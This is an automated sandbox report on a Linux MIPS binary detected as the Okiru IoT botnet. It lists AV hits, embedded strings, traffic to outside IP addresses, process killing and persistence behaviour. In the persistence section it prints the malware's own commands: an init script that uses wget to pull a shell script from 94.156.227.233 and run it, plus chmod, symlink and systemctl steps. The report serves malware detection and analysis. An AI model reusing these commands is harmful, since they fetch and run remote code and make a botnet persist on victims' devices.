Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name: mips.nn.elf
Analysis ID: 1579943
MD5: aa3373984e235ccf7ba6258968345038
SHA1: adaa42838525d3c7c59056072890f67b3fced557
SHA256: f1ad29d05b27575b645e515512a72c310577b182ab8f72131584f92491a64de1
Tags: elfuser-abuse_ch
Infos:

Detection

Okiru
Score: 84
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection

barindex
Source: mips.nn.elf Avira: detected
Source: mips.nn.elf ReversingLabs: Detection: 39%
Source: mips.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s

Networking

barindex
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.23:60010 -> 94.156.227.234:38242
Source: /tmp/mips.nn.elf (PID: 6238) Socket: 0.0.0.0:38242 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: mips.nn.elf, profile.12.dr, system.12.dr, mips.nn.elf.32.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compr
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 6281, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) SIGKILL sent: pid: 6356, result: successful Jump to behavior
Source: classification engine Classification label: mal84.spre.troj.evad.linELF@0/11@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/mips.nn.elf (PID: 6238) File: /etc/profile Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6238) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6298) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6309) File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elf Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6238) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6295) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/6356/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/2096/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/6281/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/884/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/1664/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/2102/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6312) File opened: /proc/788/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6260) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6290) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6296) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6299) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6301) Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6304) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6307) Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 6295) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6303) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elf Jump to behavior
Source: /bin/sh (PID: 6306) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 6266) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6238) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6295) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/mips.nn.elf (PID: 6238) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/mips.nn.elf (PID: 6238) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6299) Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/mips.nn.elf (PID: 6238) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6299) File: /etc/init.d/mips.nn.elf Jump to dropped file
Source: /tmp/mips.nn.elf (PID: 6238) Queries kernel information via 'uname': Jump to behavior
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.uYbuZQ\
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: V0!/usr/bin/vmtoolsd
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: tc/qemu-binfmtP
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips/usQ
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: r-managertc/qemu-binfmtP /proc/2102/exexfce4/xfc!/proc/2123/exe/mips/pr1/usr/bin/xfce4-power-manager0!/proc/2114/exeQ
Source: mips.nn.elf, 6238.1.000056099e77c000.000056099e824000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: /tmp/qemu-open.uYbuZQ
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: Rx86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
Source: mips.nn.elf, 6238.1.00007ffce31a3000.00007ffce31c4000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op

Stealing of Sensitive Information

barindex
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6238.1.00007ff65c400000.00007ff65c41d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 6238, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: mips.nn.elf, type: SAMPLE
Source: Yara match File source: 6238.1.00007ff65c400000.00007ff65c41d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.nn.elf PID: 6238, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs